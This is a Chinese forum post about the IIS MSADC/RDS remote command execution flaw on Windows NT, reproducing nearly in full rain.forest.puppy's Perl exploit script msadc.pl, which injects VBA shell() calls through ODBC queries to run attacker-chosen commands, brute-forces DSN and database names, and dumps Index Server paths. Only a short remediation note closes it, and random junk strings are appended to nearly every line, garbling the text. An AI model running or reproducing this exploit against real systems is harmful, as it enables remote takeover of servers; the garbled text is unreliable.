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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )q&uvfQ1(  
,Z&"@g  
涉及程序: j= ]WAjT  
Microsoft NT server ~?[%uGI0h  
y5|`B(  
描述: ~iEH?J%i1r  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 SZK~<@q5  
.CQ IN]iD  
详细: y?CEV-3+  
如果你没有时间读详细内容的话,就删除: 19 bP0y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll (`!?p ^>A  
有关的安全问题就没有了。 i,<TaW*I  
#*}4=  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 l4L&hY^  
l')?w]|  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 kX+y2v(2++  
关于利用ODBC远程漏洞的描述,请参看: w KXKc\r  
&" K74  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Z3~$"V*ZB{  
J3S@1"   
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2@uo2]o)  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp | 1T2<ZT  
/NMd GKr  
这里不再论述。 BT`D|<  
NU I|4X  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: $@}6P,mg  
vZhN% DfY  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset nFX8:fZ$>  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!  x)THeH@  
M=`F $  
FUvZMA$  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 9_ KUUA  
1;]cYIq  
#!perl >9uDY+70I3  
# hi`\3B  
# MSADC/RDS 'usage' (aka exploit) script R l^ENrv!]  
# "9&6bBa  
# by rain.forest.puppy zRL[.O9  
# 4F)z-<-b  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me .!l#z|/x  
# beta test and find errors! az?B'|VX  
QVb @/  
use Socket; use Getopt::Std; ~ NK w}6  
getopts("e:vd:h:XR", \%args); 2\CFt;fk  
~ 9^1m  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; !@W1d|{lu  
~BDVmQa  
if (!defined $args{h} && !defined $args{R}) { 8QXxRD;0:  
print qq~ UfOF's_'<  
Usage: msadc.pl -h <host> { -d <delay> -X -v } B9>3xxp(by  
-h <host> = host you want to scan (ip or domain) jxZ R%D  
-d <seconds> = delay between calls, default 1 second b@/z^k{%  
-X = dump Index Server path table, if available ) $#ov-]  
-v = verbose ;jo,&C  
-e = external dictionary file for step 5 `:}GE@]  
2oGl"3/p  
Or a -R will resume a command session M _Z*F!al<  
7'J}|m{7  
~; exit;} kQsyvE  
dAm( uJ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; a%Q.8  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ]lXTIej`dy  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Q<;f-9q @  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); YB*ZYpRVl  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 9bNjC&:4/]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ~+q$TV  
CLdLO u"  
if (!defined $args{R}){ $ret = &has_msadc; 2%rAf8=  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} iNT1lk  
IT'~.!o7/  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" bJx{mq  
. "cmd /c "; Tm.(gK  
$in=<STDIN>; chomp $in; .B6$U>>NS^  
$command="cmd /c " . $in ; _^0yE_ili  
k$i76r  
if (defined $args{R}) {&load; exit;} |9?67-  
,CA,7Mu:  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; I}kx;!*b  
&try_btcustmr; oz(<e  
:@`Ll;G  
print "\nStep 2: Trying to make our own DSN..."; z<m,Xj4w  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; f:KKOLm  
=xS(Er`r  
print "\nStep 3: Trying known DSNs..."; \T/~" w  
&known_dsn; 9V0iV5?(P  
A@?2qX^4  
print "\nStep 4: Trying known .mdbs..."; 0>)('Kv  
&known_mdb; B&0-~o3WP  
=L 7scv%i  
if (defined $args{e}){ |GA4fFE=  
print "\nStep 5: Trying dictionary of DSN names..."; z5=&qo|f9l  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Yih^ZTf]O?  
xD8x1-  
print "Sorry Charley...maybe next time?\n"; n,wLk./`  
exit; K9m L1[B  
V2^(qpM!  
############################################################################## _o8il3  
yLW iY~Fd  
sub sendraw { # ripped and modded from whisker ",B92[}Ar  
sleep($delay); # it's a DoS on the server! At least on mine... xzyV| (  
my ($pstr)=@_; DCACj-f  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `2o/W]SSk  
die("Socket problems\n"); sG%Q?&-  
if(connect(S,pack "SnA4x8",2,80,$target)){ QukLsl]U  
select(S); $|=1; P2_JS]>  
print $pstr; my @in=<S>; lo,?mj%M  
select(STDOUT); close(S); Y@c! \0e$  
return @in; DQ?'f@I&*  
} else { die("Can't connect...\n"); }} erdWGUfQOe  
r\F`xtR(  
############################################################################## x&8HBF'  
THi*'D/  
sub make_header { # make the HTTP request Y`uL4)hR5  
my $msadc=<<EOT A%Pjg1(uX  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 vnw83a%3  
User-Agent: ACTIVEDATA 4hg#7#?boW  
Host: $ip w[^s) 1  
Content-Length: $clen DDwH9*  
Connection: Keep-Alive J-:\^uP  
d(jd{L4d  
ADCClientVersion:01.06 od"Oq?~/t  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 +Tf,2?O  
5)wz`OS  
--!ADM!ROX!YOUR!WORLD! &y[Od{=  
Content-Type: application/x-varg 1 xm8w$%  
Content-Length: $reqlen qSlC@@.>  
DB We>Ef(  
EOT 6 wYd)MDLL  
; $msadc=~s/\n/\r\n/g; yEJ}!/  
return $msadc;} s(w6Ldi  
il(dVW  
############################################################################## *[]7l]XK.  
5}x^0 LY  
sub make_req { # make the RDS request YLVIn_\}  
my ($switch, $p1, $p2)=@_; gI~R u8  
my $req=""; my $t1, $t2, $query, $dsn; 6 D_3Hwrs  
z4D[>2*  
if ($switch==1){ # this is the btcustmr.mdb query P3jDx{F  
$query="Select * from Customers where City=" . make_shell(); x{`>Il  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . `PXSQf  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} K9\`Wu_qL  
.S>:-j'u  
elsif ($switch==2){ # this is general make table query EtjN :p|$  
$query="create table AZZ (B int, C varchar(10))"; \Bg;}\8 X  
$dsn="$p1";} cs `T7?>  
NRe{0U}nO  
elsif ($switch==3){ # this is general exploit table query cY  ^>`  
$query="select * from AZZ where C=" . make_shell(); paF$ o6\  
$dsn="$p1";} d[;Sn:B  
w[~O@:`]<o  
elsif ($switch==4){ # attempt to hork file info from index server HP}d`C5<R  
$query="select path from scope()"; ;HtHN K(o  
$dsn="Provider=MSIDXS;";} BUqe~E|I  
~mP#V  
elsif ($switch==5){ # bad query \R#]}g0!  
$query="select"; 5(R ./  
$dsn="$p1";} 1K.i>]}>  
Q%o:*(x[O  
$t1= make_unicode($query); w#_/CU L  
$t2= make_unicode($dsn); PTfTT_t  
$req = "\x02\x00\x03\x00"; o(Yj[:+m  
$req.= "\x08\x00" . pack ("S1", length($t1)); . Xn w@\k'  
$req.= "\x00\x00" . $t1 ; }ac0}  
$req.= "\x08\x00" . pack ("S1", length($t2)); O>9+ tQ  
$req.= "\x00\x00" . $t2 ; 3e+ Ih2  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 4 8l!P(>?y  
return $req;} } QVREj  
G9J+D?'hH  
############################################################################## |B yw]\3v  
RwJ#G7S#  
sub make_shell { # this makes the shell() statement uH7 $/  
return "'|shell(\"$command\")|'";} T2|dFKeWG  
6K501!70g6  
############################################################################## .Az' THD}  
wiKUs0|  
sub make_unicode { # quick little function to convert to unicode  MO|aN,  
my ($in)=@_; my $out; [}Vne;V  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } :Lu=t3#  
return $out;} W9nmTz\8  
LxaR1E(Cc'  
############################################################################## qOAK`{b  
Qxr&zT7f  
sub rdo_success { # checks for RDO return success (this is kludge) ^t,sehpR:l  
my (@in) = @_; my $base=content_start(@in); \6~(# y  
if($in[$base]=~/multipart\/mixed/){ ~ HFDX@m*  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 'au7rX(  
return 0;} 5xKo(XNp  
w-9M{Es+j  
############################################################################## Gxx:<`[ON  
^GMM%   
sub make_dsn { # this makes a DSN for us `IL''eJug_  
my @drives=("c","d","e","f"); 32j@6!  
print "\nMaking DSN: "; 0h^&`H:  
foreach $drive (@drives) { '}3@D$YiM%  
print "$drive: "; ?Ho~6q8O@  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Gzy"$t  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Qz6Ry\u  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Ni "n_Yun  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &} %rZU  
return 0 if $2 eq "404"; # not found/doesn't exist >S/m(98  
if($2 eq "200") { ?[{_*qh  
foreach $line (@results) { >(nb8T|  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} S-@E  
} return 0;} ], Xva`"  
7J?`gl&C  
############################################################################## $KDH"J  
y!JZWq%=  
sub verify_exists { ^PHWUb+``  
my ($page)=@_; Ovu!G q  
my @results=sendraw("GET $page HTTP/1.0\n\n"); [AgS@^"sf5  
return $results[0];} 6bj.z  
GddP)l{uCF  
############################################################################## gYb}<[O!  
kex4U6&OQB  
sub try_btcustmr { :rr;9nMR[  
my @drives=("c","d","e","f"); )"SP >2}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V}de|=  
5>{  
foreach $dir (@dirs) { cZ>h[XX[  
print "$dir -> "; # fun status so you can see progress ,.Xqb~  
foreach $drive (@drives) { kaybi 0  
print "$drive: "; # ditto |oCE7'BaP  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; -UD^O*U  
$reqlenlen=length( "$reqlen" ); 1Q-O&\-xg  
$clen= 206 + $reqlenlen + $reqlen; =P>c1T1-  
cbsU!8  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); yKSvg5lLy  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 3!]S8Y*LQP  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} |cKo#nfzZ  
Tp7*T8  
############################################################################## 3@xn<eu  
[wKnJu  
sub odbc_error { w#ha ^4  
my (@in)=@_; my $base; o1I8l7  
my $base = content_start(@in); YMGzO  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this !@2L g  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Cbw@:+%J{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; aH@GhI^@  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :mOHR&2xR%  
return $in[$base+4].$in[$base+5].$in[$base+6];} G .PzpBA  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9em?2'ysa  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ME'hN->c  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} w=]id'`?q  
\jlem<&  
############################################################################## E"8cB]`|8  
H<6TN^  
sub verbose { %p?+r  
my ($in)=@_; ean_/E  
return if !$verbose; i n}N[  
print STDOUT "\n$in\n";} `` !BE"yN  
_; 7{1n  
############################################################################## #9=as Y  
ib$_x:OO"  
sub save { ~cHpA;x9<^  
my ($p1, $p2, $p3, $p4)=@_; ;fg8,(SM^  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 8#?jYhT7  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; BT[jD}?  
close OUT;} <~wr;"S  
5!GL"  
############################################################################## fyb:eO}  
iIZDtZFF  
sub load { bo>4:i  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; % Q| >t~  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); o{C7V *  
@p=<IN>; close(IN); $_bhZnYp7  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); k{M4.a[(  
$target= inet_aton($ip) || die("inet_aton problems"); G.#`DaP  
print "Resuming to $ip ..."; x+1Cs$E;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; "DWw]\xO](  
if($p[1]==1) { ^o;f~6#17  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; W+F{!dW  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; kH&KE5  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 8v eG^o  
if (rdo_success(@results)){print "Success!\n";} G:u-C<^'  
else { print "failed\n"; verbose(odbc_error(@results));}} AHg:`Wjv-  
elsif ($p[1]==3){ '!$g<= @  
if(run_query("$p[3]")){ mPhrMcL  
print "Success!\n";} else { print "failed\n"; }} Ab| t E5%  
elsif ($p[1]==4){ ui _nvD:  
if(run_query($drvst . "$p[3]")){ q#}#A@Rg  
print "Success!\n"; } else { print "failed\n"; }} heLWVI[so  
exit;} x d9+P  
~3 ,>TV  
############################################################################## ED0Vlw+1  
f=$w,^)M  
sub create_table { &nJH23h ^  
my ($in)=@_; B;k3YOg  
$reqlen=length( make_req(2,$in,"") ) - 28; HLD8W8  
$reqlenlen=length( "$reqlen" ); 6R.%I{x'  
$clen= 206 + $reqlenlen + $reqlen; xbZx&`(  
my @results=sendraw(make_header() . make_req(2,$in,"")); 16;r+.FB'  
return 1 if rdo_success(@results); n2e#rn  
my $temp= odbc_error(@results); verbose($temp); r8]y1 Om<  
return 1 if $temp=~/Table 'AZZ' already exists/; V5]}b[X  
return 0;} "4`i]vy8  
5" 5tY  
############################################################################## %3"xn!'vf  
osBwX.G'l  
sub known_dsn { \w;d4r8x  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;F)j,Ywi)H  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G&eRhif  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", LIm{Y`XU  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); <FaF67[Q  
B~\mr{|u  
foreach $dSn (@dsns) { ](^$5Am  
print "."; ]g/:lS4  
next if (!is_access("DSN=$dSn")); ef !@|2  
if(create_table("DSN=$dSn")){ mgO D J  
print "$dSn successful\n"; P@LFX[HtM  
if(run_query("DSN=$dSn")){ &?(<6v7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !z EW)  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 4Lg!54P8  
eootH K  
############################################################################## V*}xlxSL  
!]^,!7x,8j  
sub is_access { F!N D  
my ($in)=@_; CrvL[6i  
$reqlen=length( make_req(5,$in,"") ) - 28; 6"OwrJB  
$reqlenlen=length( "$reqlen" ); ]npsclvJ  
$clen= 206 + $reqlenlen + $reqlen; .dbZ;`s  
my @results=sendraw(make_header() . make_req(5,$in,"")); O_gr{L}  
my $temp= odbc_error(@results); 0@O:C::  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); >g{ w,  
return 0;} ( o(,;  
}jfOs(Q]  
############################################################################## xOKLc!J  
-[h2fqu1  
sub run_query { YI877T9>  
my ($in)=@_; HITw{RPrW  
$reqlen=length( make_req(3,$in,"") ) - 28; }fS`jq;  
$reqlenlen=length( "$reqlen" ); Fl{@B*3@w  
$clen= 206 + $reqlenlen + $reqlen; ?h$ =]  
my @results=sendraw(make_header() . make_req(3,$in,"")); @R c/ ^B:  
return 1 if rdo_success(@results); LBcnBo</v  
my $temp= odbc_error(@results); verbose($temp); j3W)  
return 0;} Ht{Q=w/ 9  
<6!;mb ;cX  
############################################################################## ?QJS6i'k  
hggP9I :s,  
sub known_mdb { zp4aiMn1F  
my @drives=("c","d","e","f","g"); Rhfx  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6 h?v/\  
my $dir, $drive, $mdb; 5{PT  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; /i[1$/*  
b6]MJ0do  
# this is sparse, because I don't know of many NZ|(#` X  
my @sysmdbs=( "\\catroot\\icatalog.mdb", bXiOf#:''  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", cs-wqxTX[$  
"\\system32\\certmdb.mdb", ?W27 h  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% /s/\5-U7q  
|H .  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", kWSei3  
"\\cfusion\\cfapps\\forums\\forums_.mdb", o0Z~9iF&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ep,"@,,  
"\\cfusion\\cfapps\\security\\realm_.mdb", C>MEgGP  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", p%ve1>c  
"\\cfusion\\database\\cfexamples.mdb", VR'R7  
"\\cfusion\\database\\cfsnippets.mdb", '5f6 M^}|2  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 7o99@K,  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", N=vb*3ECg  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _nn\O3TB  
"\\cfusion\\database\\smpolicy.mdb", 0 %W0vTvL  
"\\cfusion\\database\cypress.mdb", Q>%{Dn\?  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", r;7&U<j~Z  
"\\website\\cgi-win\\dbsample.mdb", ]ChGi[B~9  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 5#WyI#YNG  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~zd+M/8  
); #these are just 4#MPD  
foreach $drive (@drives) { ='[J.  
foreach $dir (@dirs){ \nzaF4+$  
foreach $mdb (@sysmdbs) { C"gH>G  
print "."; gP 13n!7  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ '(6 ^O=  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; U+4W9zhwo  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 3}F{a8iIm  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ^e~m`R2fHh  
} else { print "Something's borked. Use verbose next time\n"; }}}}} b}-/~l-:  
r8wip\[  
foreach $drive (@drives) { # o;\5MOE%  
foreach $mdb (@mdbs) { (fTi1 I!  
print "."; )q8!:Z  
if(create_table($drv . $drive . $dir . $mdb)){ A8zh27[w%  
print "\n" . $drive . $dir . $mdb . " successful\n"; N E/_  
if(run_query($drv . $drive . $dir . $mdb)){ ,zP.ch0K  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {0~xv@ U  
} else { print "Something's borked. Use verbose next time\n"; }}}} m"|AD/2;(  
} o3ZqPk]al  
te*|>NRS  
############################################################################## ,|7!/]0&  
gm1 7VrC  
sub hork_idx { N t-8[J  
print "\nAttempting to dump Index Server tables...\n"; !l7D1i~  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; -*nd5(lY&  
$reqlen=length( make_req(4,"","") ) - 28; HX`>" ?{  
$reqlenlen=length( "$reqlen" ); z0F'zN 3J  
$clen= 206 + $reqlenlen + $reqlen; ;,2;J3,pA  
my @results=sendraw2(make_header() . make_req(4,"","")); D8O&`!mf  
if (rdo_success(@results)){ |bM?Q$>~  
my $max=@results; my $c; my %d; Cvgk67C=$  
for($c=19; $c<$max; $c++){ y88lkV4a  
$results[$c]=~s/\x00//g; 9x]yu6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; a*N<gId  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; {0IC2jE  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; xE"QX N  
$d{"$1$2"}="";} FWb`F&  
foreach $c (keys %d){ print "$c\n"; } P. >5`^  
} else {print "Index server doesn't seem to be installed.\n"; }} },& =r= B  
B s{n  
############################################################################## Be4n\c.  
p+y2w{{  
sub dsn_dict { D&]dlY@*  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); FG{45/0We  
while(<IN>){  F<Y>  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; "b6ew2\  
next if (!is_access("DSN=$dSn")); RLE6=#4  
if(create_table("DSN=$dSn")){ na0-v-  
print "$dSn successful\n"; 0Vwl\,7z9  
if(run_query("DSN=$dSn")){ hAvX{]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { q)F@f /  
print "Something's borked. Use verbose next time\n";}}} xU(yc}vw,  
print "\n"; close(IN);} ^;DbIo\6H  
=JM !`[  
############################################################################## (\A~SKEX  
iqAME%m  
sub sendraw2 { # ripped and modded from whisker AZ'"Ua  
sleep($delay); # it's a DoS on the server! At least on mine... UPr8Q^wm  
my ($pstr)=@_; QZO9CLX 8k  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || J.g4I|{  
die("Socket problems\n"); ,>vI|p,/G*  
if(connect(S,pack "SnA4x8",2,80,$target)){ :h!&.FB  
print "Connected. Getting data"; Dxx`<=&g  
open(OUT,">raw.out"); my @in; JZom#A. dt  
select(S); $|=1; print $pstr; eI:;l];G9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 5a^b{=#Y  
close(OUT); select(STDOUT); close(S); return @in; R;3Tyn+  
} else { die("Can't connect...\n"); }} T!3_Q/~^r  
`ZLA=oD  
##############################################################################  dl;  
]4 q6N  
sub content_start { # this will take in the server headers _ rIFwT1]  
my (@in)=@_; my $c; p J#<e  
for ($c=1;$c<500;$c++) { 3A)Ec/;~  
if($in[$c] =~/^\x0d\x0a/){ ]R7zvcu&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } t9Y?0O}/  
else { return $c+1; }}} Ip&Q'"HYj  
return -1;} # it should never get here actually lr-:o@q{  
kA/V=xO<  
############################################################################## \66j4?H#  
0<4Sw j3s7  
sub funky { m! H7;S-(  
my (@in)=@_; my $error=odbc_error(@in); #>[5NQ;$'  
if($error=~/ADO could not find the specified provider/){ !tckE\ h#N  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 2[e^mm&.   
exit;} ge@KopZ&  
if($error=~/A Handler is required/){ kE*OjywN  
print "\nServer has custom handler filters (they most likely are patched)\n"; QmRE<i  
exit;} XL2iK)A  
if($error=~/specified Handler has denied Access/){ +u[?8D7Y  
print "\nServer has custom handler filters (they most likely are patched)\n"; zSM;N^X8?  
exit;}} D8r=V f  
=0gfGwD{  
############################################################################## Ix1[ $9  
k\wcj^"cb  
sub has_msadc { A3cW8 OClz  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^cz;UQX~}  
my $base=content_start(@results); |d0,54!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);  aa10vV  
return 0;} ^N2N>^'&1.  
.V'=z|   
######################## ~V?3A/]  
8Ug`2xS<_  
+i1\],7  
解决方案: _=d X01  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll S-D=-{@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 {;[W'Lc  
{24Y1ohK  
拿出来充数 哈哈
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